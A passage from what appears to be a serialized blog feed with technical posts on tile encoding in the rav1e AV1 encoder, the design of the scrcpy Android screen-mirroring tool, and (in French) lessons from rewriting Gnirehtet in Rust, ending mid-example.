To enable tile encoding, parameters have been added to pass the (log2) number of
tiles --tile-cols-log2 and --tile-rows-log2. For example, to request 2x2
tiles:
rav1e video.y4m -o video.ivf --tile-cols-log2 1 --tile-rows-log2 1
Currently, we need to pass the log2 of the number of tiles (like in libaom,
even if the aomenc options are called --tile-columns and --tile-rows), to
avoid any confusion. Maybe we could find a better option which is both correct,
non-confusing and user-friendly later.
Now that we can encode tiles, we must write them according to the AV1 bitstream specification, so that decoders can read the resulting file correctly.
Before tile encoding (i.e. with a single tile), rav1e produced a correct bitstream. Several changes were necessary to write multiple tiles.
According to Tile info syntax, the frame header signals the number of columns and rows of tiles (it always signaled a single tile before).
In addition, when there are several tiles, it signals two more values, described below.
For entropy coding, the encoder maintain and update a CDF (Cumulative Distribution Function), representing the probabilities of symbols.
After a frame is encoded, the current CDF state is saved to be possibly used as a starting state for future frames.
But with tile encoding, each tile finishes with its own CDF state, so which one
should we associate to the reference frame? The answer is: any of them. But we
must signal the one we choose, in context_update_tile_id; the decoder needs it
to decode the bitstream.
In practice, we keep the CDF from the biggest tile.
The size of an encoded tile, in bytes, is variable (of course). Therefore, we will need to signal the size of each tile.
To gain a few bytes, the number of bytes used to store the size itself is also
variable, and signaled by 2 bits in the frame header
(tile_size_bytes_minus_1).
Concretely, we must choose the smallest size that is sufficient to encode all the tile sizes for the frame.
According to General tile group OBU syntax, we need to signal two values when there are more than 1 tile:
tile_start_and_end_present_flag (we always disable it);tile_size_minus_1.The tile size (minus 1) is written in little endian, and use the number of bytes we signaled in the frame header.
That’s all. This is sufficient to produce a correct bitstream with multiple tiles.
Thanks to Rayon, parallelizing tile encoding is as easy as replacing
iter_mut() by par_iter_mut().
I tested on my laptop (8 CPUs) several encodings to compare encoding performance (this is not a good benchmark, but it gives an idea, you are encouraged to run your own tests). Here are the results:
tiles time speedup
1 7mn02,336s 1.00×
2 3mn53,578s 1.81×
4 2mn12,995s 3.05×
8* 1mn57,533s 3.59×
Speedups are quite good for 2 and 4 tiles.
*The reason why the speedup is lower than expected for 8 tiles is that my CPU has actually only 4 physical cores. See this reddit comment and this other one.
Why not 2×, 4× and 8× speedup? Mainly because of Amdahl’s law.
Tile encoding parallelizes only a part of the whole process: there are still single-threaded processings at frame-level.
Suppose that a proportion p (between 0 and 1) of a given task can be
parallelized. Then its theoretical speedup is 1 / ((p/n) + (1-p)), where n
is the number of threads.
tiles speedup speedup speedup
(p=0.9) (p=0.95) (p=0.98)
2 1.82× 1.90× 1.96×
4 3.07× 3.48× 3.77×
8 4.71× 5.93× 7.02×
Maybe counterintuitively, to increase the speedup brought by parallelization, non-parallelized code must be optimized (the more threads are used, the more the non-parallelized code represents a significant part).
The (not-so-reliable) benchmark results for 2 and 4 tiles suggest that tile encoding represents ~90% of the whole encoding process.
Not everything worked the first time.
The most common source of errors while implementing tile encoding was related to offsets.
When there was only one tile, all offsets were relative to the frame. With several tiles, some offsets are relative to the current tile, but some others are still relative to the whole frame. For example, during motion estimation, a motion vector can point outside tile boundaries in the reference frame, so we must take care to convert offsets accordingly.
The most obvious errors were catched by plane regions (which prevent access outside boundaries), but some others were more subtle.
Such errors could produce interesting images. For example, here is a screenshot of my first tiled video:
One of these offsets confusions had been quickly catched by barrbrain in intra-prediction. I then fixed a similar problem in inter-prediction.
But the final boss bug was way more sneaky: it corrupted the bitstream (so the decoder was unable to decode), but not always, and never the first frame. When an inter-frame could be decoded, it was sometimes visually corrupted, but only for some videos and for some encoding parameters.
After more than one week of investigations, I finally found it.
\o/
Implementing this feature was an awesome journey. I learned a lot, both about Rust and video encoding (I didn’t even know what a tile was before I started).
Big thanks to the Mozilla/Xiph/Daala team, who has been very welcoming and helpful, and who does amazing work!
Discuss on r/programming, r/rust, r/AV1 and Hacker News.
";s:7:"dateiso";s:15:"20190425_101500";}s:15:"20180308_120000";a:7:{s:5:"title";s:18:"Introducing scrcpy";s:4:"link";s:50:"https://blog.rom1v.com/2018/03/introducing-scrcpy/";s:4:"guid";s:49:"https://blog.rom1v.com/2018/03/introducing-scrcpy";s:7:"pubDate";s:25:"2018-03-08T12:00:00+01:00";s:11:"description";s:0:"";s:7:"content";s:21218:"I developed an application to display and control Android devices connected on USB. It does not require any root access. It works on GNU/Linux, Windows and Mac OS.
It focuses on:
Like my previous project, gnirehtet, Genymobile accepted to open source it: scrcpy.
You can build, install and run it.
The application executes a server on the device. The client and the server communicate via a socket over an adb tunnel.
The server streams an H.264 video of the device screen. The client decodes the video frames and displays them.
The client captures input (keyboard and mouse) events, sends them to the server, which injects them to the device.
The documentation gives more details.
Here, I will detail several technical aspects of the application likely to interest developers.
It takes time to encode, transmit and decode the video stream. To minimize latency, we must avoid any additional delay.
For example, let’s stream the screen with screenrecord and play it with VLC:
adb exec-out screenrecord --output-format=h264 - | vlc - --demux h264
Initially, it works, but quickly the latency increases and frames are broken. The reason is that VLC associates a PTS to frames, and buffers the stream to play frames at some target time.
As a consequence, it sometimes prints such errors on stderr:
ES_OUT_SET_(GROUP_)PCR is called too late (pts_delay increased to 300 ms)
Just before I started the project, Philippe, a colleague who played with WebRTC, advised me to “manually” decode (using FFmpeg) and render frames, to avoid any additional latency. This saved me from wasting time, it was the right solution.
Decoding the video stream to retrieve individual frames with FFmpeg is rather straightforward.
If, for any reason, the rendering is delayed, decoded frames are dropped so that scrcpy always displays the last decoded frame.
Note that this behavior may be changed with a configuration flag:
mesonconf x -Dskip_frames=false
Capturing the device screen requires some privileges, which are granted to
shell.
It is possible to execute Java code as shell on Android, by invoking
app_process from adb shell.
Here is a simple Java application:
public class HelloWorld {
public static void main(String... args) {
System.out.println("Hello, world!");
}
}Let’s compile and dex it:
javac -source 1.7 -target 1.7 HelloWorld.java
"$ANDROID_HOME"/build-tools/27.0.2/dx \
--dex --output classes.dex HelloWorld.class
Then, we push classes.dex to an Android device:
adb push classes.dex /data/local/tmp/
And execute it:
$ adb shell CLASSPATH=/data/local/tmp/classes.dex app_process / HelloWorld
Hello, world!
The application can access the Android framework at runtime.
For example, let’s use android.os.SystemClock:
import android.os.SystemClock;
public class HelloWorld {
public static void main(String... args) {
System.out.print("Hello,");
SystemClock.sleep(1000);
System.out.println(" world!");
}
}We link our class against android.jar:
javac -source 1.7 -target 1.7 \
-cp "$ANDROID_HOME"/platforms/android-27/android.jar
HelloWorld.java
Then run it as before.
Note that scrcpy also needs to access hidden methods from the framework. In
that case, linking against android.jar is not sufficient, so it uses
reflection.
The execution also works if classes.dex is embedded in a zip/jar:
jar cvf hello.jar classes.dex
adb push hello.jar /data/local/tmp/
adb shell CLASSPATH=/data/local/tmp/hello.jar app_process / HelloWorld
You know an example of a zip containing classes.dex? An APK!
Therefore, it works for any installed APK containing a class with a main method:
$ adb install myapp.apk
…
$ adb shell pm path my.app.package
package:/data/app/my.app.package-1/base.apk
$ adb shell CLASSPATH=/data/app/my.app.package-1/base.apk \
app_process / HelloWorld
To simplify the build system, I decided to build the server as an APK using gradle, even if it’s not a real Android application: gradle provides tasks for running tests, checking style, etc.
Invoked that way, the server is authorized to capture the device screen.
Nothing is required to be installed on the device by the user: at startup, the client is responsible for executing the server on the device.
We saw that we can execute the main method of the server from an APK either:
/data/local/tmp.Which one to choose?
$ time adb install server.apk
…
real 0m0,963s
…
$ time adb push server.apk /data/local/tmp/
…
real 0m0,022s
…
So I decided to push.
Note that /data/local/tmp is readable and writable by shell, but not
world-writable, so a malicious application may not replace the server just
before the client executes it.
If you executed the Hello, world! in the previous section, you may have
noticed that running app_process takes some time: Hello, World! is not
printed before some delay (between 0.5 and 1 second).
In the client, initializing SDL also takes some time.
Therefore, these initialization steps have been parallelized.
After usage, we want to remove the server (/data/local/tmp/scrcpy-server.jar)
from the device.
We could remove it on exit, but then, it would be left on device disconnection.
Instead, once the server is opened by app_process, scrcpy unlinks (rm)
it. Thus, the file is present only for less than 1 second (it is removed even
before the screen is displayed).
The file itself (not its name) is actually removed when the last associated open file
descriptor is closed (at the latest, when app_process dies).
Handling input received from a keyboard is more complicated than I thought.
There are 2 kinds of “keyboard” events:
Key events provide both the scancode (the physical location of a key on the keyboard) and the keycode (which depends on the keyboard layout). Only keycodes are used by scrcpy (it doesn’t need the location of physical keys).
However, key events are not sufficient to handle text input:
Sometimes it can take multiple key presses to produce a character. Sometimes a single key press can produce multiple characters.
Even simple characters may not be handled easily with key events, since they
depend on the layout. For example, on a French keyboard, typing . (dot)
generates Shift+;.
Therefore, scrcpy forwards key events to the device only for a limited set of keys. The remaining are handled by text input events.
On the Android side, we may not inject text directly (injecting a KeyEvent
created by the relevant constructor does not work).
Instead, we can retrieve a list of KeyEvents to generate for a char[], using
getEvents(char[]).
For example:
char[] chars = {'?'};
KeyEvent[] events = charMap.getEvents(chars);Here, events is initialized with an array of 4 events:
KEYCODE_SHIFT_LEFTKEYCODE_SLASHKEYCODE_SLASHKEYCODE_SHIFT_LEFTInjecting those events correctly generates the char '?'.
Unfortunately, the previous method only works for ASCII characters:
char[] chars = {'é'};
KeyEvent[] events = charMap.getEvents(chars);
// events is null!!!I first thought there was no way to inject such events from there, until I discussed with Philippe (yes, the same as earlier), who knew the solution: it works when we decompose the characters using combining diacritical dead key characters.
Concretely, instead of injecting "é", we inject "\u0301e":
char[] chars = {'\u0301', 'e'};
KeyEvent[] events = charMap.getEvents(chars);
// now, there are eventsTherefore, to support accented characters, scrcpy attempts to decompose the
characters using KeyComposition.
The application window may have an icon, used in the title bar (for some desktop environments) and/or in the desktop taskbar.
The window icon must be set from an SDL_Surface by SDL_SetWindowIcon.
Creating the surface with the icon content is up to the developer. For exemple,
we could decide to load the icon from a PNG file, or directly from its raw
pixels in memory.
Instead, another colleague, Aurélien, suggested I use the XPM image format,
which is also a valid C source code: icon.xpm.
Note that the image is not the content of the variable icon_xpm declared in
icon.xpm: it’s the whole file! Thus, icon.xpm may be both directly opened in
Gimp and included in C source code:
#include "icon.xpm"As a benefit, we directly “recognize” the icon from the source code, and we can patch it easily: in debug mode, the icon color is changed.
Developing this project was an awesome and motivating experience. I’ve learned a lot (I never used SDL or libav/FFmpeg before).
The resulting application works better than I initially expected, and I’m happy to have been able to open source it.
Discuss on reddit and Hacker News.
";s:7:"dateiso";s:15:"20180308_120000";}s:15:"20170921_170000";a:7:{s:5:"title";s:27:"Gnirehtet réécrit en Rust";s:4:"link";s:57:"https://blog.rom1v.com/2017/09/gnirehtet-reecrit-en-rust/";s:4:"guid";s:56:"https://blog.rom1v.com/2017/09/gnirehtet-reecrit-en-rust";s:7:"pubDate";s:25:"2017-09-21T17:00:00+02:00";s:11:"description";s:0:"";s:7:"content";s:91788:"Il y a quelques mois, j’ai présenté Gnirehtet, un outil de reverse tethering pour Android que j’ai écrit en Java.
Depuis, je l’ai réécrit en Rust.
Et il est également open source ! Téléchargez-le, branchez un téléphone ou une tablette Android, et exécutez :
./gnirehtet run
(adb doit être installé)
À Genymobile, nous voulions que Gnirehtet ne nécessite pas d’environnement d’exécution Java (JRE), donc le besoin principal était de compiler l’application vers un binaire exécutable natif.
Par conséquent, j’ai d’abord pensé la réécrire en C ou C++. Mais à ce moment-là (début mai), apprendre Rust m’intéressait, après avoir vaguement entendu parler de ses fonctionnalités:
Cependant, je n’avais jamais écrit une ligne de Rust ni entendu parler de son système de possession, d’emprunt ou de durées de vie.
Mais je suis convaincu que le meilleur moyen d’apprendre un langage de programmation est de travailler à plein temps sur un projet dans ce langage.
J’étais motivé, donc après avoir vérifié que ça pouvait convenir (en gros, j’ai écrit un exemple utilisant la bibliothèque d’I/O asynchrone mio, et je l’ai exécuté à la fois sur Linux et Windows), j’ai décidé de réécrire Gnirehtet en Rust.
Pendant la réécriture, j’ai dévoré successivement le Rust book, Rust by example et le Rustonomicon. J’ai beaucoup appris, et j’aime énormément ce langage. Beaucoup de ses fonctionnalités me manquent maintenant quand je travaille sur un projet C++ :
Option<T> (comme std::optional<T> en C++17, mais tirant bénéfice des
enums et des patterns),À propos de l’apprentissage, Paul Graham a écrit:
Reading and experience train your model of the world. And even if you forget the experience or what you read, its effect on your model of the world persists. Your mind is like a compiled program you’ve lost the source of. It works, but you don’t know why.
Pour les non-anglophones, ma propre traduction :
La lecture et l’expérience entraînent votre modèle du monde. Et même si vous oubliez l’expérience ou ce que vous avez lu, son effet sur votre modèle du monde persiste. Votre esprit est comme un programme compilé dont vous auriez perdu le code source. Ça fonctionne, mais vous ne savez pas pourquoi.
Certains des concepts de Rust (comme les durées de vie ou la sémantique de mouvement par défaut) m’ont fourni un jeu de données significativement différent, qui a sans aucun doute affecté mon modèle du monde (de la programmation).
Je ne vais pas présenter toutes ces fonctionnaliés (cliquez sur les liens de la documentation si ça vous intéresse). À la place, je vais essayer d’expliquer où et pourquoi Rust a resisté au design que je voulais implémenter, et comment repenser les problèmes dans le périmètre des contraintes de Rust.
La partie suivant nécessite une certaine connaissance de Rust. Vous pourriez vouloir la passer pour aller directement aux stats.
Je trouvais la conception de l’application Java plutôt réussie, donc je voulais reproduire l’architecture globale dans la version Rust (avec d’éventuelles adaptations pour la rustifier).
Mais j’ai lutté sur les détails, en particulier pour satisfaire le borrow checker. Les règles sont simples:
First, any borrow must last for a scope no greater than that of the owner. Second, you may have one or the other of these two kinds of borrows, but not both at the same time:
- one or more references (
&T) to a resource,- exactly one mutable reference (
&mut T).
En français :
Premièrement, aucun emprunt ne doit avoir une portée plus grande que celle de son propriétaire. Deuxièmement, vous pouvez avoir l’un ou l’autre de ces types d’emprunts, mais pas les deux à la fois:
- une ou plusieurs références (
&T) vers une ressource,- exactement une référence mutable (
&mut T).
Cependant, il m’a fallu un peu de temps pour réaliser comment elles entrent en conflit avec certains principes ou modèles de conception.
Voici donc mes retours. J’ai sélectionné 4 sujets qui sont suffisamment généraux pour être indépendants de ce projet particulier :
Les règles d’emprunt contraignent l’encapsulation. C’est la première conséquence que j’ai réalisée.
Voici un exemple canonique :
pub struct Data {
header: [u8; 4],
payload: [u8; 20],
}
impl Data {
pub fn new() -> Self {
Self {
header: [0; 4],
payload: [0; 20],
}
}
pub fn header(&mut self) -> &mut [u8] {
&mut self.header
}
pub fn payload(&mut self) -> &mut [u8] {
&mut self.payload
}
}
fn main() {
let mut data = Data::new();
let header = data.header();
let payload = data.payload();
}Nous créons juste une nouvelle instance de Data, puis associons à des
variables locales des références mutables vers les tableaux header et
payload, en passant par des accesseurs.
Cependant, cela ne compile pas :
$ rustc sample.rs
error[E0499]: cannot borrow `data` as mutable more than once at a time
--> sample.rs:21:19
|
25 | let header = data.header();
| ---- first mutable borrow occurs here
26 | let payload = data.payload();
| ^^^^ second mutable borrow occurs here
27 | }
| - first borrow ends here
Le compilateur ne peut pas faire l’hypothèse que header() et payload()
retournent des références vers des données disjointes dans la structure Data.
Par conséquent, chacun emprunte la structure data entièrement. Vu que les
règles d’emprunt interdisent d’obtenir deux références mutables vers la même
ressource, il rejette le second appel.
Parfois, nous faisons face à des limitations temporaires parce que le
compilateur n’est pas (encore) assez malin. Ce n’est pas le cas ici :
l’implémentation de header() pourrait très bien retourner une référence vers
payload, ou écrire dans le tableau payload, enfreignant ainsi les règles
d’emprunt. Et la validité d’un appel d’une méthode ne peut pas dépendre de
l’implementation de la méthode.
Pour corriger le problème, le compilateur doit être capable de savoir que les
variables locales header et payload référencent des données disjointes,
par exemple en accédant aux champs directement :
let header = &mut data.header;
let payload = &mut data.payload;ou en exposant une méthode fournissant les deux références simultanément :
struct Data {
fn header_and_payload(&mut self) -> (&mut [u8], &mut [u8]) {
(&mut self.header, &mut self.payload)
}
}
fn main() {
let mut data = Data::new();
let (header, payload) = data.header_and_payload();
}De même, dans l’implémentation d’une structure, les règles d’emprunt empêchent de factoriser du code dans une méthode privée facilement. Prenons cet exemple (artificiel) :
pub struct Data {
buf: [u8; 20],
prefix_length: usize,
sum: u32,
port: u16,
}
impl Data {
pub fn update_sum(&mut self) {
let content = &self.buf[self.prefix_length..];
self.sum = content.iter().cloned().map(u32::from).sum();
}
pub fn update_port(&mut self) {
let content = &self.buf[self.prefix_length..];
self.port = (content[2] as u16) << 8 | content[3] as u16;
}
}Ici, le champ buf est un tableau stockant un préfixe et un contenu de manière
contiguë.
Nous voulons factoriser la manière dont nous récupérons la slice content,
pour que les méthodes update_*() n’aient pas à se préoccuper des détails.
Essayons :
impl Data {
pub fn update_sum(&mut self) {
- let content = &self.buf[self.prefix_length..];
+ let content = self.content();
self.sum = content.iter().cloned().map(u32::from).sum();
}
pub fn update_port(&mut self) {
- let content = &self.buf[self.prefix_length..];
+ let content = self.content();
self.port = (content[2] as u16) << 8 | content[3] as u16;
}
+
+ fn content(&mut self) -> &[u8] {
+ &self.buf[self.prefix_length..]
+ }
}Malheureusement, cela ne compile pas :
error[E0506]: cannot assign to `self.sum` because it is borrowed
--> facto2.rs:11:9
|
10 | let content = self.content();
| ---- borrow of `self.sum` occurs here
11 | self.sum = content.iter().cloned().map(u32::from).sum();
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ assignment to borrowed `self.sum` occurs here
error[E0506]: cannot assign to `self.port` because it is borrowed
--> facto2.rs:16:9
|
15 | let content = self.content();
| ---- borrow of `self.port` occurs here
16 | self.port = (content[2] as u16) << 8 & content[3] as u16;
|
Comme dans l’exemple précédent, récupérer une référence à travers une méthode
emprunte la structure complète (ici, self).
Pour contourner le problème, nous pouvons expliquer au compilateur que les champs sont disjoints :
impl Data {
pub fn update_sum(&mut self) {
let content = Self::content(&self.buf, self.prefix_length);
self.sum = content.iter().cloned().map(u32::from).sum();
}
pub fn update_port(&mut self) {
let content = Self::content(&self.buf, self.prefix_length);
self.port = (content[2] as u16) << 8 | content[3] as u16;
}
fn content(buf: &[u8], prefix_length: usize) -> &[u8] {
&buf[prefix_length..]
}
}Ça compile, mais cela va totalement à l’encontre de la factorisation : l’appelant doit fournir les champs nécessaires.
Comme alternative, nous pouvons utiliser une macro pour inliner le code :
macro_rules! content {
($self:ident) => {
&$self.buf[$self.prefix_length..]
}
}
impl Data {
pub fn update_sum(&mut self) {
let content = content!(self);
self.sum = content.iter().cloned().map(u32::from).sum();
}
pub fn update_port(&mut self) {
let content = content!(self);
self.port = (content[2] as u16) << 8 | content[3] as u16;
}
}Mais c’est loin d’être idéal.
Je pense que nous devons juste l’accepter : l’encapsulation entre parfois en conflit avec les règles d’emprunt. Après tout, ce n’est pas si surprenant : imposer les règles d’emprunt nécessite de suivre chaque accès concret aux ressources, alors que l’encapsulation vise à les abstraire.
Le design pattern observateur est utile pour enregistrer des événements sur un objet.
Dans certains cas, ce pattern pose des difficultés d’implémentation en Rust.
Pour faire simple, considérons que les événements sont des valeurs u32. Voici
une implémentation possible :
pub trait EventListener {
fn on_event(&self, event: u32);
}
pub struct Notifier {
listeners: Vec<Box<EventListener>>,
}
impl Notifier {
pub fn new() -> Self {
Self { listeners: Vec::new() }
}
pub fn register<T: EventListener + 'static>(&mut self, listener: T) {
self.listeners.push(Box::new(listener));
}
pub fn notify(&self, event: u32) {
for listener in &self.listeners {
listener.on_event(event);
}
}
}Par commodité, implémentons notre trait EventListener pour les closures :
impl<F: Fn(u32)> EventListener for F {
fn on_event(&self, event: u32) {
self(event);
}
}Ainsi, son utilisation est simple :
let mut notifier = Notifier::new();
notifier.register(|event| println!("received [{}]", event));
println!("notifying...");
notifier.notify(42);Cela affiche :
notifying...
received [42]
Jusqu’ici, tout va bien.
Cependant, les choses se compliquent si nous voulons modifier un état sur la réception d’un événement. Par exemple, implémentons une structure pour stocker tous les événements reçus :
pub struct Storage {
events: Vec<u32>,
}
impl Storage {
pub fn new() -> Self {
Self { events: Vec::new() }
}
pub fn store(&mut self, value: u32) {
self.events.push(value);
}
pub fn events(&self) -> &Vec<u32> {
&self.events
}
}Pour pouvoir remplir ce Storage sur chaque événement reçu, nous devons d’une
manière ou d’une autre le passer avec l’event listener, qui sera stocké dans
le Notifier. Par conséquent, nous avons besoin qu’une instance de Storage
soit partagée entre le code appelant et le Notifier.
Avoir deux références mutables vers le même objet enfreint évidemment les règles d’emprunt, donc nous avons besoin d’un pointeur à compteur de références.
Cependant, un tel pointeur est en lecture seul, donc nous avons également besoin
d’un RefCell pour la mutabilité intérieure.
Ainsi, nous allons utiliser une instance de Rc<RefCell<Storage>>. Cela peut
sembler trop verbeux, mais utiliser Rc<RefCell<T>> (ou Arc<Mutex<T>> pour
la thread-safety) est très courant en Rust. Et il y a pire.
Voici ce que donne le code client :
use std::cell::RefCell;
use std::rc::Rc;
let mut notifier = Notifier::new();
// first Rc to the Storage
let rc = Rc::new(RefCell::new(Storage::new()));
// second Rc to the Storage
let rc2 = rc.clone();
// register the listener saving all the received events to the Storage
notifier.register(move |event| rc2.borrow_mut().store(event));
notifier.notify(3);
notifier.notify(141);
notifier.notify(59);
assert_eq!(&vec![3, 141, 59], rc.borrow().events());De cette manière, le Storage est correctement modifié à partir de l’event
listener.
Tout n’est pas résolu pour autant. Dans cet exemple, c’était facile, nous avions
accès à l’instance Rc<RefCell<Storage>>. Comment faire si nous avons seulement
accès au Storage, par exemple si nous voulons que le Storage s’enregistre
lui-même à partir de l’une de ses méthodes, sans que l’appelant n’ait à fournir
l’instance Rc<RefCell<Storage>> ?
impl Storage {
pub fn register_to(&self, notifier: &mut Notifier) {
notifier.register(move |event| {
/* how to retrieve a &mut Storage from here? */
});
}
}Nous devons trouver un moyen de récupérer le Rc<RefCell<Storage>> à partir du
Storage.
Pour cela, l’idée consiste à rendre Storage conscient de son pointeur à
compteur de références. Bien sûr, cela n’a du sens que si Storage est
construit dans un Rc<RefCell<Storage>>.
C’est exactement ce que enable_shared_from_this fournit en C++, donc nous
pouvons nous inspirer de son fonctionnement : juste
stocker un Weak<RefCell<…>>, downgradé à partir du
Rc<RefCell<…>>, dans la structure elle-même. De cette manière, nous pouvons
l’utiliser pour récupérer une référence &mut Storage à partir de l’event
listener :
use std::rc::{Rc, Weak};
use std::cell::RefCell;
pub struct Storage {
self_weak: Weak<RefCell<Storage>>,
events: Vec<u32>,
}
impl Storage {
pub fn new() -> Rc<RefCell<Self>> {
let rc = Rc::new(RefCell::new(Self {
self_weak: Weak::new(), // initialize empty
events: Vec::new(),
}));
// set self_weak once we get the Rc instance
rc.borrow_mut().self_weak = Rc::downgrade(&rc);
rc
}
pub fn register_to(&self, notifier: &mut Notifier) {
let rc = self.self_weak.upgrade().unwrap();
notifier.register(move |event| rc.borrow_mut().store(event))
}
}Voici comment l’utiliser :
let mut notifier = Notifier::new();
let rc = Storage::new();
rc.borrow().register_to(&mut notifier);
notifier.notify(3);
notifier.notify(141);
notifier.notify(59);
assert_eq!(&vec![3, 141, 59], rc.borrow().events());Il est donc possible d’implémenter le design pattern observateur en Rust, mais c’est un peu plus difficile qu’en Java ;-)
Lorsque c’est possible, il est probablement préférable de l’éviter.
Mutable references cannot be aliased.
En français :
Les références mutables ne peuvent pas être aliasées.
Comment partager des données mutables, alors ?
Nous avons vu que nous pouvions utiliser Rc<RefCell<…>> (ou Arc<Mutex<…>>),
qui impose les règles d’emprunt à l’exécution. Cependant, ce n’est pas toujours
désirable :
Au lieu de cela, nous pourrions utiliser des pointeurs bruts manuellement dans du code non-sûr, mais alors ce serait non-sûr.
Et il y a une autre solution, qui consiste à exposer des vues temporaires d’emprunt d’un objet. Laissez-moi expliquer.
Dans Gnirehtet, un paquet contient une référence vers les données brutes (stockées dans un buffer quelque part) ainsi que les valeur des champs des en-têtes IP et TCP/UDP (parsées à partir du tableau d’octets brut). Nous aurions pu utiliser une structure à plat pour tout stocker :
pub struct Packet<'a> {
raw: &'a mut [u8],
ipv4_source: u32,
ipv4_destination: u32,
ipv4_protocol: u8,
// + other ipv4 fields
transport_source: u16,
transport_destination: u16,
// + other transport fields
}Le Packet aurait fourni des setters pour tous les champs d’en-têtes
(modifiant à la fois les champs du paquet et le tableau d’octets). Par exemple :
impl<'a> Packet<'a> {
pub fn set_transport_source(&mut self, transport_source: u16) {
self.transport_source = transport_source;
let transport = &mut self.raw[20..];
BigEndian::write_u16(&mut transport[0..2], port);
}
}Mais cette conception ne serait pas terrible (surtout que les champs d’en-têtes TCP et UDP sont différents).
À la place, nous voudrions extraire les en-têtes d’IP et de transport vers des structures séparées, gérant leur propre partie du tableau d’octets :
// violates the borrowing rules
pub struct Packet<'a> {
raw: &'a mut [u8], // the whole packet (including headers)
ipv4_header: Ipv4Header<'a>,
transport_header: TransportHeader<'a>,
}
pub struct Ipv4Header<'a> {
raw: &'a mut [u8], // slice related to ipv4 headers
source: u32,
destination: u32,
protocol: u8,
// + other ipv4 fields
}
pub struct TransportHeader<'a> {
raw: &'a mut [u8], // slice related to transport headers
source: u16,
destination: u16,
// + other transport fields
}Vous avez immédiatement repéré le problème : il y a plusieurs références vers
la même ressource, le tableau d’octets raw, en même temps.
Remarquez que diviser le tableau n’est pas une possibilité ici, vu
que les slices de raw se chevauchent : nous avons besoin d’écrire le paquet
complet en une seule fois vers la couche réseau, donc le tableau raw dans
Packet doit inclure les headers.
Nous avons besoin d’une solution compatible avec les règles d’emprunt.
Voici celle à laquelle je suis parvenu :
raw,Packet retournant des instances de vues.Et voici une simplification de l’implémentation réelle :
pub struct Packet<'a> {
raw: &'a mut [u8],
ipv4_header: Ipv4HeaderData,
transport_header: TransportHeaderData,
}
pub struct Ipv4HeaderData {
source: u32,
destination: u32,
protocol: u8,
// + other ipv4 fields
}
pub struct TransportHeaderData {
source: u16,
destination: u16,
// + other transport fields
}
pub struct Ipv4Header<'a> {
raw: &'a mut [u8],
data: &'a mut Ipv4HeaderData,
}
pub struct TransportHeader<'a> {
raw: &'a mut [u8],
data: &'a mut TransportHeaderData,
}
impl<'a> Packet<'a> {
pub fn ipv4_header(&mut self) -> Ipv4Header {
Ipv4Header {
raw: &mut self.raw[..20],
data: &mut self.ipv4_header,
}
}
pub fn transport_header(&mut self) -> TransportHeader {
TransportHeader {
raw: &mut self.raw[20..40],
data: &mut self.transport_header,
}
}
}Les setters sont implémentés sur les vues, où ils détiennent une référence mutable vers le tableau brut :
impl<'a> TransportHeader<'a> {
pub fn set_source(&mut self, source: u16) {
self.data.source = source;
BigEndian::write_u16(&mut raw[0..2], source);
}
pub fn set_destination(&mut self, destination: u16) {
self.data.destination = destination;
BigEndian::write_u16(&mut raw[2..4], destination);
}
}De cette manière, les règles d’emprunt sont respectées, et l’API est élégante :
let mut packet = …;
// "transport_header" borrows "packet" during its scope
let mut transport_header = packet.transport_header();
transport_header.set_source(1234);
transport_header.set_destination(1234);Rust est un langage jeune, et le compilateur a quelques problèmes ennuyeux.
Le pire, d’après moi, est lié aux durées de vie non-lexicales, qui provoque des erreurs inattendues :
struct Container {
vec: Vec<i32>,
}
impl Container {
fn find(&mut self, v: i32) -> Option<&mut i32> {
None // we don't care the implementation
}
fn get(&mut self, v: i32) -> &mut i32 {
if let Some(x) = self.find(v) {
return x;
}
self.vec.push(v);
self.vec.last_mut().unwrap()
}
}error[E0499]: cannot borrow `self.vec` as mutable more than once at a time
--> sample.rs:14:9
|
11 | if let Some(x) = self.find(v) {
| ---- first mutable borrow occurs here
...
14 | self.vec.push(v);
| ^^^^^^^^ second mutable borrow occurs here
15 | self.vec.last_mut().unwrap()
16 | }
| - first borrow ends here
Heureusement, cela devrait être corrigé prochainement.
La fonctionnalité d’Impl Trait, permettant aux fonctions de retourner des types abstraits non-boxés, devrait aussi améliorer l’expérience (il y a aussi une proposition étendue).
Le compilateur produit généralement des messages d’erreur très utiles. Mais quand ce n’est pas le cas, ils peuvent être très déroutants.
Le premier chapitre du Rustonomicon dit :
Safe Rust is For Reals Totally Safe.
[…]
Safe Rust is the true Rust programming language. If all you do is write Safe Rust, you will never have to worry about type-safety or memory-safety. You will never endure a null or dangling pointer, or any of that Undefined Behavior nonsense.
En français :
La partie Sûre de Rust est Réellement Totallement Sûre.
[…]
Le Rust Sûr est le vrai langage de programmation Rust. Si vous n’écrivez que du Rust Sûr, vous n’aurez jamais à vous inquiétez de la sûreté des types ou de la mémoire. Vous n’aurez jamais à supporter un pointeur null ou dangling, ou l’un de ces comportements indéfinis insensés.
C’est le but. Et c’est presque vrai.
Dans le passé, il a été possible d’écrire du code Rust sûr accédant à de la mémoire libérée.
Cette “leakpocalypse” a conduit à la clarification des guaranties de sûreté : ne pas exécuter un destructeur est maintenant considéré sûr. En d’autres termes, la sûreté mémoire ne peut plus reposer sur RAII (en fait, elle n’a jamais pu, mais cela n’a été remarqué que tardivement).
En conséquence, std::mem::forget est maintenant sûr, et JoinGuard a
été déprécié et supprimé de la bibliothèque standard (il a été déplacé vers un
crate séparé).
Les autres outils s’appuyant sur RAII (comme Vec::drain()) doivent prendre
des précautions particulières pour garantir que la mémoire
ne sera pas corrompue.
Ouf, la sûreté mémoire est (maintenant) sauvée.
En C et C++, les boucles infinies sans effets de bords sont un cas d’undefined behavior. À cause de cela, il est possible d’écrire des programmes qui, de façon inattendue, réfutent le dernier théorème de Fermat.
En pratique, le compilateur Rust s’appuie sur LLVM, qui (actuellement) applique ses optimisations en faisant l’hypothèse que les boucles infinies sans effets de bords ont un comportement indéfini. En conséquence, de tels undefined behaviors se produisent également en Rust.
Voici un exemple minimal pour l’observer :
fn infinite() {
loop {}
}
fn main() {
infinite();
}Quand on l’exécute sans optimisations, il se comporte comme “attendu” :
$ rustc ub.rs && ./ub
^C (infinite loop, interrupt it)
Mais activer les optimisations fait paniquer le programme :
$ rustc -O ub.rs && ./ub
thread 'main' panicked at 'assertion failed: c.borrow().is_none()', /checkout/src/libstd/sys_common/thread_info.rs:51
note: Run with `RUST_BACKTRACE=1` for a backtrace.
Nous pouvons aussi produire des résultats inattendus sans plantage :
fn infinite(mut value: u32) {
// infinite loop unless value initially equals 0
while value != 0 {
